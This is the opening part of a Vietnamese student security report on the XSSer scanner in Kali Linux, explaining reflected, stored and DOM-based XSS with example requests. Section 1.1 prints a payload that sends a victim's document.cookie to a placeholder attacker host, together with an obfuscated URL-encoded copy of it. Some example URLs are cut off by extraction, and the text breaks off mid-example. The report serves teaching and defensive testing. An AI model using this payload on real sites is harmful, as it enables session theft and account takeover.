Tải bản đầy đủ (.pdf) (48 trang)

Tìm hiểu công cụ Xsser trong hệ điều hành Kali Linux

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (4.12 MB, 48 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN

Học phần: An tồn mạng nâng cao
Bài báo cáo:

Tìm hiểu công cụ XSSer trong hệ điều hành
Kali Linux

Giảng viên hướng dẫn:

TS. Đặng Minh Tuấn

Sinh viên thực hiện:

Hoàng Tùng Anh - B17DCAT004

Hà Nội, năm 2021
1


MỤC LỤC
DANH SÁCH CÁC THUẬT NGỮ TIẾNG ANH VÀ VIẾT TẮT ......................................................... 3
DANH MỤC CÁC HÌNH VẼ .................................................................................................................... 4
LỜI MỞ ĐẦU.............................................................................................................................................. 6
Giới thiệu chung về XSS và công cụ XSSer ...................................................................................... 7

I.
1.

2.



II.

Lỗ hổng XSS .................................................................................................................................... 7
1.1.

XSS là gì ................................................................................................................................... 7

1.2.

Phân loại .................................................................................................................................. 8

1.3.

Cách tìm và kiểm tra sự tồn tại của lỗ hổng XSS ............................................................... 14

Tổng quan về công cụ XSSer ....................................................................................................... 15
2.1.

Giới thiệu chung .................................................................................................................... 15

2.2.

Cài đặt công cụ ...................................................................................................................... 16

Chi tiết về công cụ XSSer ............................................................................................................. 20

1.

Sử dụng command của công cụ ................................................................................................... 20


2.

Sử dụng giao diện (GUI) ............................................................................................................... 23

III.

2.1.

Chế độ normal ....................................................................................................................... 24

2.2.

Trình hướng dẫn (Wizard Helper) ...................................................................................... 30

Ưu, nhược điểm của XSSer .......................................................................................................... 35

1.

Ưu điểm .......................................................................................................................................... 35

2.

Nhược điểm.................................................................................................................................... 35

IV.

Demo sử dụng công cụ .................................................................................................................. 36

1.


Môi trường, trang web mục tiêu và kết quả mong đợi .............................................................. 36

2.

Thực hiện ....................................................................................................................................... 36
2.1.

Sử dụng terminal................................................................................................................... 36

2.2.

Sử dụng giao diện .................................................................................................................. 39

3. Đánh giá kết quả thu được và so sánh cơng cụ với các cơng cụ tìm kiếm, phát hiện lỗ hổng
khác ........................................................................................................................................................ 44

V.

3.1.

Đánh giá chung về kết quả thu đc và công cụ..................................................................... 44

3.2.

So sánh với công cụ khác ...................................................................................................... 44

Kết luận .............................................................................................................................................. 47

2



DANH SÁCH CÁC THUẬT NGỮ TIẾNG ANH VÀ VIẾT TẮT
Từ viết tắt

Thuật ngữ tiếng Anh/Giải thích

Thuật ngữ tiếng Việt/Giải thích

Command

Command

Câu lệnh

Configure

Configure

Cấu hình

Connection

Connection

Kết nối

DOM-XSS

Document Object Model Cross-site

scripting

1 dạng của lỗ hổng XSS

GUI

Graphical User Interface

Giao diện đồ họa người dùng

HTTP

Hypertext Transfer Protocol

Proxy

Proxy

Terminal

Terminal

WAFs

Web application firewall

XSS

Cross-site scripting


Là một giao thức lớp ứng dụng cho
các hệ thống thông tin siêu phương
tiện phân tán, cộng tác
Là một Internet server làm nhiệm vụ
chuyển tiếp thông tin và kiểm sốt
Terminal là một text-based interface
(giao diện dịng lệnh) cho phép người
dùng truy cập trực tiếp vào hệ thống
UNIX
Là một dạng tường lửa ứng dụng cụ
thể để lọc, giám sát và chặn lưu lượng
truy cập HTTP đến và đi từ một dịch
vụ web
Là một lỗi bảo mật cho phép người
tấn công chèn các đoạn script nguy
hiểm vào trong source code ứng dụng
web.

3


DANH MỤC CÁC HÌNH VẼ
Hình 1 Sơ đồ hoạt động khi hệ thống bị tấn cơng XSS ................................................................................ 7
Hình 2 Reflect XSS....................................................................................................................................... 9
Hình 3 Stored XSS ...................................................................................................................................... 10
Hình 4 HTML form để thực hiện DOM-XSS ............................................................................................. 12
Hình 5 HTML form phục vụ việc thực hiện tấn công DOM-XSS 2 ........................................................... 13
Hình 6. Kết quả sau khi nhấn Register........................................................................................................ 14
Hình 7 XSSer logo ...................................................................................................................................... 15
Hình 8 Các trình duyệt, WAFs nhà phát triển đề cập ................................................................................. 16

Hình 9 Terminal .......................................................................................................................................... 16
Hình 10 Cài đặt các thư viện cần thiết ........................................................................................................ 17
Hình 11 Giới thiệu XSSer trong terminal ................................................................................................... 18
Hình 12 Giao diện (GUI) của XSSer .......................................................................................................... 19
Hình 13 Giao diện của XSS 2 ....................................................................................................................... 19
Hình 14 Command Help của XSSer ........................................................................................................... 20
Hình 15 Command Help của XSSer 2 ........................................................................................................ 20
Hình 16 Giao diện đồ họa của XSSer ......................................................................................................... 21
Hình 17 Command cơ bản .......................................................................................................................... 21
Hình 18 Kết quả sau khi sử dụng câu lênh trên .......................................................................................... 22
Hình 19 Mục configrure của giao diện đồ hịa XSSer ................................................................................ 23
Hình 20 Trình hỗ trợ người dùng mới ........................................................................................................ 24
Hình 21 Mơ hình khi có Proxy ................................................................................................................... 25
Hình 22 Mục Connection(s) của tab Configure .......................................................................................... 25
Hình 23 Mục checker .................................................................................................................................. 26
Hình 24 Mục Vector ................................................................................................................................... 26
Hình 25 Mục Anti- anti XSS/IDS ............................................................................................................... 27
Hình 26 Mục Bypasser................................................................................................................................ 28
Hình 27 Mục technique ............................................................................................................................... 28
Hình 28 Mục Exploit .................................................................................................................................. 29
Hình 29 Mục Reporting .............................................................................................................................. 29
Hình 30 Commands được tạo sau khi nhấn Aim ........................................................................................ 30
Hình 31 Giao diện trình hướng dẫn ............................................................................................................ 31
Hình 32 Bước đầu tiên trong trình hướng dẫn của XSSer .......................................................................... 31
Hình 33 Bước 2 trong trình hướng dẫn ....................................................................................................... 32
Hình 34 Bước thứ 3 trong trình hướng dẫn................................................................................................. 32
Hình 35 Bước thứ 4 trong trình hướng dẫn................................................................................................. 33
Hình 36 Bước thứ 5 trong trình hướng dẫn................................................................................................. 33
Hình 37 Bước cuối cùng trong trình hướng dẫn ......................................................................................... 34
Hình 38. Kết quả sau test sau khi bấm Start test ......................................................................................... 34

Hình 39 Sử dụng XSSer kiểm tra một trang web......................................................................................... 36
Hình 40 Kết quả sau khi kiểm tra ................................................................................................................ 37
Hình 41 Thực hiện thử chèn script gọi hàm alert........................................................................................ 37
4


Hình 42 Kết quả thực hiện .......................................................................................................................... 38
Hình 43 kết quả trên trình duyệt ................................................................................................................. 38
Hình 44 Giao diện trình hướng dẫn ............................................................................................................ 39
Hình 45 Giao diện trình hướng dẫn ở bước thứ 1 ....................................................................................... 39
Hình 46 Giao diện trình hướng dẫn ở bước thứ 2 ....................................................................................... 40
Hình 47 Giao diện trình hướng dẫn ở bước thứ 3 ....................................................................................... 40
Hình 48 Giao diện trình hướng dẫn ở bước thứ 4 ....................................................................................... 41
Hình 49 Giao diện trình hướng dẫn ở bước thứ 5 ....................................................................................... 41
Hình 50 Kết quả sau khi thực hiện các bước .............................................................................................. 42
Hình 51 Giao diện đồ họa chính ................................................................................................................. 42
Hình 52 chọn hình thức sử dụng và nhập target momg muốn .................................................................... 43
Hình 53 Cấu hình command theo mong muốn ........................................................................................... 43
Hình 54 Chọn aim để tạo command............................................................................................................ 44
Hình 55 Quá trình thực hiện và kết quả ...................................................................................................... 44
Hình 56 Kết quả test ở cơng cụ burp suite .................................................................................................. 45
Hình 57. Kết quả test của cơng cụ Acunetix ............................................................................................... 45
Hình 58 Kết quả test của cơng cụ Acunetix 2 ............................................................................................. 46

5


LỜI MỞ ĐẦU
Trong thời đại công nghệ 4.0 bùng nổ, các cơng nghệ về số hóa, chuyển đổi số đa
dạng khắp thế giới, đặc biệt trong một nước đang phát triển như Việt Nam. Mọi vấn đề

trong cuộc sống đều được số hóa, giúp giảm chi phí và tăng sự thuận tiện cho người sử
dụng. Ứng dụng web được sử dụng khắp mọi nơi, mọi cơ quan từ nhà nước cho đến tư
nhân, từ công ty cho đến trường học, nhà hàng cho đến quán ăn đều sử dụng. Nhu cầu
tăng lên cao nên rủi ro liên quan đến lỗ hổng trong ứng dụng web ngày tăng cao. Hàng
năm thế giới hứng chịu những thiệt hại nặng nề do những cuộc tấn công vào những lỗ
hổng. Một tổ chức đã đứng ra nêu tên 10 lỗ hổng thường xảy ra ở ứng dụng web, trong đó
có XSS (Cross-site scripting). Đây là một lỗ hổng có mực độ gây thiệt hại lớn, rùi ro cao
và là lỗ hỗng xuất hiện nhiều trong các ứng dụng web hiện nay, ngay kể cả Facebook hay
Google đều chứa.
Do nhu cầu về an toàn ứng dụng web tăng cao, khơng ít những chun viên hay kĩ
sư an tồn thơng tin, tổ chức, tập đồn lớn xây dựng và phát triển những cơng cụ hữu ích
cho việc tăng cường tính an tồn thơng tin. XSSer là một trong những cơng cụ đó, được
tích hợp trong hệ điều hành Kali linux, giúp người dùng có thể kiểm tra một trang web
liệu có tồn tại lỗ hổng XSS hay khơng? Bài báo cáo này sẽ nói về lý thuyết cơ bản các
dạng của lỗ hổng XSS và công cụ XSSer

6


I.

Giới thiệu chung về XSS và công cụ XSSer

1. Lỗ hổng XSS
1.1. XSS là gì
Cross Site Scripting về cơ bản là một lỗ hổng bảo mật của các trang web động nơi kẻ tấn
cơng có thể tạo ra một liên kết độc hại để đưa JavaScript thực thi không mong muốn vào
một trang Web.
Khi nạn nhân nhấp vào liên kết, mã độc sau đó có thể gửi cookie của nạn nhân đến một
máy chủ khác hoặc nó có thể sửa đổi trang web bị ảnh hưởng, đưa vào biểu mẫu, để đánh

cắp tên người dùng và mật khẩu cũng như các kỹ thuật lừa đảo khác, thực hiện các thao
tác nguy hiểm đến ứng dụng. Các đoạn mã này thậm chí có thể viết lại nội dung của trang
HTML

Hình 1 Sơ đồ hoạt động khi hệ thống bị tấn công XSS

Ví dụ:
http://VulnerableDomain/a.php?variable=<script>document.location='http
://AttackersDomain/cgibin/cookie.cgi%3Fdata='+document.cookie</script>

và kẻ tấn cơng có thể mã hóa đoạn mã độc để che mắt người dùng
http://VulnerableDomain/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%
64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3
A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E
%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%
2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
7


Kẻ tấn công sử dụng xss để khai thác thường có thể:
❖ Mạo danh hoặc giả dạng người dùng ( nạn nhân):
➢ Như đã nói ở trên, Tội phạm cơng nghệ cao thường sử dụng XSS để đánh cắp
cookies. Nó cho phép kẻ tấn công mạo danh nạn nhân trên website họ truy cập. Kẻ
tấn cơng có thể gửi cookie tới các máy chủ của họ theo nhiều cách khác nhau
❖ Thực hiện hay thao tác bất kỳ hành động nào mà người dùng (nạn nhân) có thể thực
hiện:
➢ Kẻ tấn công đã mạo danh và trở thành một người dùng bình thường như bao người
dùng khác, hắn có thể thực hiện hay sử dụng mọi chức năng của ứng dụng mà
người dùng (nạn nhân) có thể thực hiện.
❖ Đọc mọi dữ liệu mà người dùng có thể truy cập:

➢ Đây là điều hiển khi kẻ tấn công đã vượt qua được khâu xác thực. Vấn đề bị rị rỉ
thơng tin là một điều chắc chắn sẽ xảy ra, gây tổn hại lớn nếu những tài liệu mật
như nghiên cứu khoa học, chiến dịch công ty bị tiết lộ
❖ Nắm bắt thông tin đăng nhập của người dùng:
➢ Khi lấy được thông tin đăng nhập của người dùng (nạn nhân), kẻ tấn cơng trở
thành người dùng hợp pháp, có thể chiếm đoạt được tài khoản của người dùng(nạn
nhân)
❖ Thay đổi giao diện và nội dung của trang web:
➢ Một vấn đề lớn và đáng được lo ngại, nhất là đối với chính phủ của các quốc gia
trên thế giới hay các tập đồn lớn có sức ảnh hưởng lớn. Nếu các hackers thay đổi
trang web của họ với mục đích chính trị hay tuyên truyền những điều sai trái, điều
này sẽ dẫn đến hậu quả khôn lường.
➢ Khi mà kẻ tấn công chiếm được quyền điều khiển bằng cách vượt qua khâu xác
thức và phân quyền hay có được thơng tin đăng nhập của những người quản trị, họ
hoàn toàn có thể thay đổi nội dung của một trang web một cách dễ dàng
➢ Theo báo cáo, một trong những trang khảo sát của Dịch vụ y tế Quốc Gia Anh đã
bị thay đổi nội dung bởi hackers.
❖ Đưa các trojan vào trong trang web
➢ Việc đưa trojan vào, người tấn cơng có thể thu thập được thơng tin để sử dụng cho
mục đích xấu mà khơng cần vượt qua khâu xác thực, giống với việc đưa nội gián
vào làm gián điệp trong một hệ thống có an ninh cao. Chúng có thể tồn tại nhiều
dạng khác nhau như file ảnh, nhạc,.. do kẻ tấn công tải lên
1.2. Phân loại
1.2.1. Reflected XSS

8


Reflected XSS là dạng tấn công thường gặp nhất trong các loại hình XSS. Với
Reflected XSS, hacker khơng gửi dữ liệu độc hại lên server nạn nhân, mà gửi trực tiếp

link có chứa mã độc cho người dùng, khi người dùng click vào link này thì trang web sẽ
được load chung với các đoạn script độc hại, khi đó, hacker sẽ nhận được respond chứa
kết quả mong muốn. Reflected XSS thường dùng để ăn cắp cookie, chiếm session,… của
nạn nhân hoăc cài keylogger, trojan … vào máy tính nạn nhân. Reflected XSS cịn được
biết đến với tên gọi first-order XSS.

Hình 2 Reflect XSS

Ví dụ về Reflected XSS: Giả sử có một website có tính năng tìm kiếm, và truyền vào
tham số URL các cụm từ tìm kiếm của người dùng:
/>Với URL như trên, ứng dụng web trả về như sau:

You searched for: gift


Giả sử toàn bộ các cụm từ tìm kiếm trên URL khơng được xử lý trước khi thực hiện tìm
kiếm, hacker có thể thực hiện 1 cuộc tấn công như sau:
/>URL này dẫn đến phản hồi của ứng dụng web sau:

You searched for: <script>/* Đoạn mã độc js */</script>


9


Do đó, tồn bộ mã độc trong URL sẽ được thực thi trên phiên làm việc của người dùng,
hacker có thể đánh cắp được phiên đăng nhập của người dùng. Đến lúc này, hacker có thể
giả mạo với tư cách người dùng và thực hiện mọi quyền trên website mà người dùng có.
Reflect XSS chứa nhiều tính nguy hiểm cho trang web. Cụ thể, nếu hacker có thể kiểm
sốt một tập lệnh được thực thi trong trình duyệt của nạn nhân, thì hacker có thể xâm
phạm tài khoản người dùng đó, Thực hiện bất kỳ hành động nào trên web mà người dùng
có thể thực hiện, xem bất kỳ thơng tin nào mà người dùng có thể xem, sửa đổi bất kỳ
thơng tin nào mà người dùng có thể sửa đổi. Tiếp tục tấn công lây lan cho những người
dùng khác, bắt nguồn từ người dùng nạn nhân ban đầu. Có nhiều cách khác nhau mà
hacker có thể khiến người dùng dính bẫy reflected XSS. Chúng bao gồm việc đặt các liên
kết trên trang web do hacker kiểm soát hoặc trên một trang web khác cho phép tạo nội
dung hoặc bằng cách gửi liên kết trong email, tweet hoặc tin nhắn... Cuộc tấn cơng có thể

được nhắm mục tiêu trực tiếp chống lại một nạn nhân cụ thể hoặc có thể là một cuộc tấn
cơng khơng có chủ đích, có thể tấn công bất cứ người dùng nào.
1.2.2. Stored XSS
Khác với Reflected tấn công trực tiếp vào một số nạn nhân mà hacker nhắm đến, Stored
XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ
các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (các database, file hay những khu vực
khác nhằm lưu trữ dữ liệu của ứng dụng web). Ví dụ như các form góp ý, các comment,
bài đăng … trên các trang web. Với kỹ thuật Stored XSS , hacker không khai thác trực
tiếp mà phải thực hiện tối thiểu qua 2 bước. Đầu tiên hacker sẽ thông qua các điểm đầu
vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã
nguy hiểm.

Hình 3 Stored XSS

Ví dụ stored XSS:
10


Ví dụ 1:
Giả sử một trang web cho phép người dùng gửi nhận xét về các bài đăng trên blog, được
hiển thị cho những người dùng khác. Người dùng gửi nhận xét bằng request HTTP như
sau:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&emai
l=carlos%40normal-user.net
Sau khi nhận xét này được gửi, bất kỳ người dùng nào truy cập vào bài đăng trên blog sẽ
nhìn thấy đoạn HTML như sau:

This post was extremely helpful.



Nếu website không thực hiện việc lọc content do người dùng nhập vào, thì hacker có thể
tấn cơng website đó bằng cách chèn các đoạn mã độc JS vào phần nhận xét, ví dụ như
sau:
<script>/* Đoạn mã độc JS*/</script>
Đoạn mã này được encoded URL như sau:
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript
%3E
Khi đó server sẽ trả về response như sau:

<script>/* Đoạn mã độc JS */</script>



1.2.3. DOM XSS
Như đã đề cập về 2 kiểu khai thác XSS là Reflected và Stored, chúng đều có đặc điểm
chung là các đoạn mã nguy hiểm sau khi được chèn vào sẽ được thực thi sau response
của server, có nghĩa là lỗi nằm về phía server. Có một kiểu khai thác XSS khác đi ngược
lại với đặc điểm này, mã độc được thực thi ngay khi xử lý phía client mà khơng thơng
qua server, được biết đến với cái tên DOM Based XSS hay còn gọi là XSS loại 0.
11


DOM viết tắt của Document Object Model là 1 dạng chuẩn của W3C đưa ra nhằm để
truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML. Mơ hình này thể
hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành phần trong HTML, XML
đều được xem như một node. DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc
thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML.
Ví dụ như, một web application sử dụng một số code JavaScript để đọc giá trị từ trường
đầu vào và ghi giá trị đó vào một phần tử trong HTML:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
Nếu hacker có thể kiểm sốt giá trị của trường đầu vào, chúng có thể dễ dàng tạo ra các

đoạn code độc hại để thực thi:
You searched for: <img src=1 onerror='/* Đoạn code cần thực thi... */'>

Một ví dụ khác, một website có URL đến trang đăng ký như sau:
example.com/register.php?message=Please fill in the form
Khi truy cập đến thì chúng ta thấy một Form rất bình thường

Hình 4 HTML form để thực hiện DOM-XSS

Có thể dễ dàng suy luận tham số message truyền vào nội dung thông báo trên form, xem
kỹ source code của đoạn thông báo này

12


Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra. Từ việc kiểm tra
đầu vào lỏng lẻo này, hồn tồn có thể lừa người dùng truy cập các URL nguy hiểm.
Thay vì truyền
message=Please fill in the form
thì truyền
message=<label>Gender</label><div class="col-sm-4">